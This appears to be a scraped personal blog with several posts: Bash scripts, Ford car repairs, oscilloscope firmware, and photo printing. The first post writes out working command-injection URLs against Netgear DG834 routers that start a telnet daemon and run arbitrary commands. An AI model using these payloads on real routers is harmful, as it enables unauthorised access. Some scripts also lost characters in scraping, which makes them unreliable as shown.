Saturday, 23 February 2013

Howto Telnet into Netgear DG834GVv1

This probably works for any Netgear DG834*

Your default router IP address is 192.168.0.1 unless you have changed it.

Start Telnet Daemon

http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=%26/usr/sbin/utelnetd+-d

You may now telnet to your router's IP address.

eg. telnet 192.168.0.1

NB: This may enable telnet access from any Internet host.
In my case on a DG834GV v1, I could not connect to my router over Internet.

To run any installed program, use this general form.
It will launch program and redirect output to ppp_log.

General Form

http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=%26
+

View ppp_log

http://192.168.0.1/ppp_log

Read a File

eg. to read /etc/hosts


http://192.168.0.1/setup.cgi?todo=ping_test&c4_IPAddr=%26/bin/cat+/etc/hosts+%3E+/www/ppp_log

Ignore Ping error message and read ppp_log:

Stop Telnet Daemon

From telnet session

/bin/ps

Find PID (first number) for utelnetd daemon

/bin/kill

You should see a message on your console like "Connection closed by foreign host.

Via browser


Ensure you can no longer login into your router.

Monday, 28 January 2013

Spell checker and corrector in BASH

Why? Because it can be done.


I have used nothing but BASH.

Sample run:




I tried to make it very feature rich while keeping code to about 100 lines - this version is about 80.

Can you make it smaller?

Features:
* Auto-corrects if it can only find 1 suggested correction.
* Lists all words in dictionary that could be corrections and lets user choose or replace word.
* Suggestions only consider words with single letter deletions, additions or changes.
* Spelling errors are highlighted in yellow.
* Corrections are highlighted in green.

Todo:
* Save result to a file (Currently just displays result on terminal).

I did go a little overboard with processing word case.


#!/bin/bash

[[ -z "$1" ]] && echo "Usage: $0 " && exit 1
ERR=33; COR=32                                   # error and corrected colours
PS3="Select or manually enter a correction: "
L="a-zA-Z'"                                      # these letters are deemed part of words
FINAL=
shopt -s extglob
shopt -u nocasematch
declare -A WORD
while read W; do WORD[${W,,}]=${W,,}; done < /usr/share/dict/words

function checkSuggestion() {
    local p=$1 S=$1 C                            # uses CASE and SUGGEST from caller
    [ -z "${WORD[$p]}" ] && return 1             # matches word in dict!
    [ $CASE = PROP  ] && S=${p^}                 # change case to original word
    [ $CASE = CAP   ] && S=${p^^}   
    [ $CASE = CAPs  ] && { S=${p%%\'*};             S="${S^^}'${p#*\'}"; }   
    [ $CASE = LAT   ] && { S=${p##*\'};             S="${p%\'*}'${S^^}"; }   
    [ $CASE = OPROP ] && { S=${p%%\'*}; C=${p#*\'}; S="${S^^}'${C^}";    }   
    SUGGEST="${SUGGEST/ $S /} $S "               # add to suggestion list
}

function getSuggestions() {
    local W=$1 t l # p
    SUGGEST=; CASE=LOWER
    [[ $W =~ ^[A-Z][a-z]        ]] && CASE=PROP   # Prop
    [[ $W =~ ^[A-Z][A-Z]        ]] && CASE=CAP    # CAP
    [[ $W =~ ^[A-Z]\'[a-z]      ]] && CASE=PROP   # P'rop
    [[ $W =~  [A-Z]\'[a-z]$     ]] && CASE=CAPs   # CAP's
    [[ $W =~ ^[a-z]\'[A-Z]      ]] && CASE=LAT    # l'At
    [[ $W =~ ^[A-Z]\'[A-Z][A-Z] ]] && CASE=CAP    # C'AP
    [[ $W =~ ^[A-Z]\'[A-Z][a-z] ]] && CASE=OPROP  # O'Prop
    W=${W,,}                                     # lowercase word
    for (( t=0 ; t<=${#W} ; t++ )); do           # for each letter position of word, delete|change|insert a letter
        checkSuggestion ${W:0:t}${W:t+1}         # try deleting letter at position t
        for l in {a..z} "'"; do                  # try changing and inserting letters
            checkSuggestion ${W:0:t}$l${W:t+1}   # try changing letter
            checkSuggestion ${W:0:t}$l${W:t}     # try inserting letter
        done
    done
}

function correctWord() {                         # correct word and return in RET as well as pattern in PAT
    local W=$1 D1 D2 SUGGEST                     # uses L RESULT
        getSuggestions "$W"
        [[ ! "$RESULT" =~ ([^$L]|^)$W([^$L]|$) ]] && { printf "ERROR: Could not find [%s] in %s\n" "$W" "$LINE"; exit 1; }
        D1="${BASH_REMATCH[1]}"; D2="${BASH_REMATCH[2]}"  # get delimiters around word
        PAT="${D1:-#}$W${D2:-%}"                 # match pattern
        case $SUGGEST in
             '') echo -e "${RESULT/$PAT/$D1\e[${ERR}m$W\e[0m$D2}"   # display line with spelling mistake highlighted
                 read -p "Enter correction [$W]: " RET < /dev/fd/3  # no suggestions - let user correct
                 RET=${RET:-$W};;
            +([$L ])\ +([$L ]))                                     # multiple suggestions
                 echo -e "${RESULT/$PAT/$D1\e[${ERR}m$W\e[0m$D2}"   # display line with spelling mistake highlighted
                 select RET in "(IGNORE)" $SUGGEST; do              # get correction
                     RET=${RET:-$REPLY}                             # user entered a word instead
                     [ "$REPLY" = "1" ] && RET=$W                   # no change
                     break
                 done < /dev/fd/3;;
              *) RET=${SUGGEST// /}                                 # get single suggestion
                 printf "%b\n" "\e[31mAuto:\e[0m ${RESULT/$PAT/$D1\e[9;${ERR}m$W\e[0;${COR}m $RET\e[0m$D2}"
        esac
        COL=$COR; [ "$RET" = "$W" ] && COL=$ERR   # if unchanged, highlight in error colour
        RESULT="${RESULT/$PAT/$D1\e[${COL}m${RET}\e[0m$D2}"       # correct word
}

function correctLine(){
    local LINE="$1" W                            # uses RESULT
    while read -d' ' W; do                       # for each word in line
        [[ -z "$W" || -n ${WORD[${W,,}]} ]] 2> /dev/null && continue  # null or word in dict so ignore it
        correctWord $W
        printf ">> %b\n\n" "$RESULT" 
    done <<< "$LINE"
}

while read LINE; do  # for each line
    RESULT="$LINE"
    correctLine " ${LINE//[^$L ]/ } "            # replace punctuation with spaces
    FINAL+="$RESULT\n"                           # append corrected line to result
done 3<&0 < $1                                   # redirect stdin to /dev/fd/3 for select and read

printf "\nCORRECTED TEXT\n\n%b\n" "$FINAL"

Tuesday, 22 January 2013

Replacing Ford NL Fairlane Power Steering Nut

Based on advice from fordmods, I purchased a BA 3F656B Nut from Ford. $17.

It looks like this one from ebay:


My original one looks very different - like this one:


I cut two grooves on opposite sides into my old nut using a ruby cutting blade and a Dremel.


I cut carefully using nut's internal rubber seal groove as a guide. Once I cut into this groove, I stopped cutting. I didn't cut deep enough to reach the other groove.


With a length of hardwood resting on concrete floor and cut to length, we used a cold chisel to crack nut in half. We were chiselling on hex part rather than on thread.



After a few hits it split.



My original nut had a small white nylon seal. New nut did not have anything like that so I installed a thin rubber o-ring - couldn't hurt I reasoned.

New nut just slides on to hose and clicks in place.

This is my new nut installed. The blue 'cape' is used to keep drips away from alternator.









Friday, 18 January 2013

How to Import Birthdays and Anniversaries into Google Calendar


This is a quick bash script I made that reads a file of events and creates an ical file suitable for importing into Google Calendar.

Date file supports these event formats:

day/month event description
day/month/year event description

Brief Instructions

1. Cut and paste program into a text file.

2. Save file as pc-ssv-to-ical.bash (or whatever you like)

3. In a terminal, chmod +x pc-ssv-to-ical.bash

4. Make an event file (eg. special dates) lile this:
1/1 New Year
26/1 Australia Day
4/4/1914 Someon'es Birthday
5/5/1915 Bill/Jill Wedding (1915)

5. Run ./pc-ssv-to-ical.bash special.dates > cal-import.ics 
6. Import cal-import.ics into a Google Calendar

Script

#!/bin/bash


#    This script takes events from a file and outputs in ical format 
#    suitable for importing into a Google Calendar.
#
#    Copyright (C) 2013  phil colbourn
#
#    This program is free software: you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation, either version 3 of the License, or
#    (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    A copy of the GNU General Public License can be obtained from
#    .

SSV=$1

shopt -s extglob

# load special dates as day/month[/year] event description
# eg. 1/5/2004 A Person of Interest
# eg. 24/5 Not Sure When Born


# use this to convert SSV to CVS
# cat special-dates.ssv | sed 's/ /,/' > special-dates.csv


printf "BEGIN:VCALENDAR\nVERSION:2.0\nCALSCALE:GREGORIAN\n"


IFS+=","


while read DATE EVENT; do
    [[ -z $DATE ]] && continue               # ignore null dates
    # D/M[/Y] format
    D="0${DATE%%/*}"                         # get day part
    D="${D: -2}"   
    M="${DATE#*/}"                           # get month part
    M="0${M%%/*}"
    M="${M: -2}"
    # M/D[/Y] format
    #M="0${DATE%%/*}"                         # get month part
    #M="${M: -2}"   
    #D="${DATE#*/}"                           # get day part
    #D="0${D%%/*}"
    #D="${D: -2}"
    Y="${DATE/[0-9]?([0-9])[\/][0-9]?([0-9])/}"  # get year part
    Y=${Y//[\/]/}                            # remove left over /
    [[ -z $Y ]] && Y=$( date +%Y )           # use this year if none given

cat <
BEGIN:VEVENT
DTSTART;TZID=Australia/Sydney:${Y}${M}${D}
DTEND;TZID=Australia/Sydney:${Y}${M}${D}
RRULE:FREQ=YEARLY
DESCRIPTION:${EVENT}${Y:+ ($Y)}
SUMMARY:${EVENT}${Y:+ ($Y)}
END:VEVENT
EOF

done < $SSV

printf "END:VCALENDAR\n"

unset IFS

Notes

1. Code could be simplified if a more strict date format was used. eg. DD/MM[/YYYY]
2. Code will need to be changed for M/D[/Y] dates.
3. Space separated (SSV) and CSV formats both work. Quoted and double-quoted events also seem to work.

Sunday, 16 December 2012

Building and using a Linux UML environment

Intro

I want to test a script that randomly creates files all over a file system.

Naturally, I don't want to test this on my Linux system.

I tried fakechroot fakeroot chroot and schroot but I could not get them to do what I wanted.
fakechroot fakeroot chroot in particular allowed access to all files using '/..' - not what I wanted at all.

Method

I'm using pbuilder because it seems easy (once you know how).

  • It can also be run as a user.
  • It does not take up much space since UML environment is in a tar gzip file.
  • Changes within UML can be saved or lost (default).

To construct your sandpit

I called it 'sandpit', but you can call it what you like. Just replace sandpit with your preferred name.
Also, there is nothing stopping you making multiple sandpits.

pcreate -a amd64 -d lucid sandpit

I was running 64 bit Linux so I choose amd64
I did not care what distro I used so I choose lucid

To put/copy files into your sandpit

Files in ~/Projects/sandpit are available within your sandpit

cp ~/Projects/sandpit/

To get into your sandpit

ptest -p sandpit

After you exit, any changes will be gone.

To save changes in your sandpit

ptest -p sandpit --save


Sunday, 18 November 2012

Cleaning and Idle Speed Control Valve

In a previous post, I described how my NL Fairlane had an Idle problem and how I eventually got it fixed.

I later concluded that my old ISC must simply be clogged and devised a method to clean it.

Background

Idle Speed Control (ISC) valves are also known as Idle Air Controllers (IAC) and Bypass valves (BYP).

There are numerous patents for these devices. Mine is made by Hitachi, but this patent from BLD seems closest:


These Hitachi patents are also similar: US5188073US6571766, and US6065447

You can see that there are numerous patents for variations on this theme and I did not find them all.


Some describe how certain features work, but it seems that my ISC is powered by vacuum and limited by its solenoid. 

These designs have long-thin hollow shafts and tiny vent holes. It is very important to have these clean. 




One patent discusses how it should keep working even if these holes get blocked - sort of limp-home-mode.

Inside an ISC

I pulled apart an ISC that was supposed to be a replacement part for my car. It did not work and I decided to dismantle it.



A close-up of actual valve, shaft, and diaphragm.


These solenoids are complex. What is interesting is that they do not directly move a valve. They simply limit how far its valve can open.



Cleaning



Cleaning should not be a problem except that this is an electrical component and contains rubber seals and diaphragms that can not be directly seen or accessed.

I decided that I'd limit cleaning fluids to WD40 (or similar), Isopropyl alcohol, and compressed air.

Cleaning the parts that can be seen is straight forward: spray with WD40, scrub components gently with a small brush, blow out excess. Later you can rinse and with Isopropyl alcohol.

At one end you will see a spring over a tube that guides a valve shaft. This tube is fixed in place by a cast socket that has a small 3 mm diameter hole. This hole allows vacuum to pass through a shaft and into a space between solenoid and diaphragm. This space is also vented by brass fitting that is usually covered by a black filter.

Pull off this filter. At first this will be hard to do. Be gentle and work on it slowly to remove it undamaged.

I sprayed in WD40 through this vent and also through that hole mentioned above.

I then ran my air compressor up to about 10 PSI and connected it to that vent as shown below.



I cut a piece of plastic tube to force close my ISC's valve.

(My old ISC has a LPG modification that I have sealed with a blocked pipe. I also snapped off a flange by using an incorrect gasket.)




With this tube in place, I can pressurised diaphragm space using vent fitting, and by covering a large vent hole with my thumb.


By gently forcing air and WD40 through my ISC I was able to flush and clean out shaft and vents.



Monday, 12 November 2012

My Faulty Ford MAP Sensor



Inside a MAP (Manifold Absolute Pressure) sensor from an old Ford.

In my case, a Ford Fairlane NL, March 1998.

This one 'works' but it's output frequency is about half what it should be: 89 Hz instead of 160 Hz. I can't explain why. It still works - frequency varies with pressure.

Manifold pressure is measured by a round transducer (middle of picture). It is about 10 mm diameter and contains a square plate covered by a semi-liquid jelly. Covering and connecting this sensor to an external pipe fitting is a rubber boot (as pictured).

To test, I applied 5 V DC and used an oscilloscope to measure peak-to-peak output voltage and frequency.



I measured 0.2 V DC to about 5 V DC, 88.8 Hz, 50% duty cycle. 

Thursday, 25 October 2012

Put BenF firmware on DSO201

I have a DSO201, serial E1BE8DE3, Licence 1818C8BC, Device Firmware Upgrade V3.22A

I did the following to put on BenF's firmware packaged by Alf (5th post down):

I held '-' (down? key) while turning on. I got a firmware upgrade screen.

I connected my DSO to my Linux laptop USB port. I got a "DFU V3_22_A" mounted device in Nautilus file manager.

I extracted 2 hex files: V353_LIB.HEX and V364_APP.HEX from Alf's zip file.

I copied (dragged) V353_LIB.HEX to DFU V3_22_A device. After a second, my DFU device vanished and then reappeared. File name had changed to .RDY.

I copied (dragged) V364_APP.HEX to DFU V3_22_A device. After a second, my DFU device vanished and then reappeared. File name had changed to .RDY.

I ejected DFU device.

I disconnected USB cable.

I turned off DSO and back on a few seconds later.

Beautiful! BenF Firmware now running.

Thanks Alf.
Thanks BenF.
Thanks to whoever designed and made this open hardware, open software DSO!

I got mine from this seller on ebay: ljstore2009 

http://www.ebay.com.au/itm/160804672559?ssPageName=STRK:MEWNX:IT&_trksid=p3984.m1439.l2649#ht_5877wt_914

Sunday, 21 October 2012

On-line printing photos should not be this hard!

Are there are any other ways to store, manage, share and print our photos without being locked in to a single or subset of 'approved' suppliers?

OUR STORY

( for those that are bored with their life and want to be bored by ours )

My wife wanted to send a lot of photos to a company of her choice to be printed into a book. This time we chose BIG W Photos.

Should be easy.

PHOTO 'STORAGE'

Our digital photos are as well ordered as a junk shop: everything is in one place but no one knows exactly where.

To avoid having photos and duplicated photos spread across 20,000 devices in our family I have been trying to get all photos de-duplicated and uploaded to a cloud - I choose Picasa but it could have been any service.

UPLOADING

Getting photos there was not easy. Our cr48 ChromeBook would not work either by plugging in our camera or its SD card. So I switched to a laptop running Ubuntu. This worked but it was tedious.

SENDING TO BOOK PRINTER

Our chosen printing service is not on PicasaWeb's list so we now needed to download all photos to be printed and then upload them to our printer.

You can not do this from PicasaWeb unless you have a Picasa application installed. Google stopped supporting Picasa for Linux some time ago. I think this is good as we should be using web apps to become more device independent.

RE-DOWNLOADING

I discovered that I can download a zip file of all photos in an album from Google+.

Why can't I do this from PicasaWeb?

First we had to move or copy selected photos from one album to a new album because you can not download selected photos using Google+ - just an album.

UPLOADING

Now we have our selected photos in a directory on a laptop (again!), we could now upload them to our book printer.

None of this makes sense. This is daft!

TO FIX THIS WE NEED CLOUD PRINTING

If our printer was truly a cloud printer then we should be able to one-time-share or one-week-share our photos with them. They could then download what we selected and shared, print them and post a book to us.

This would be a bit closer to 'cloud' printing.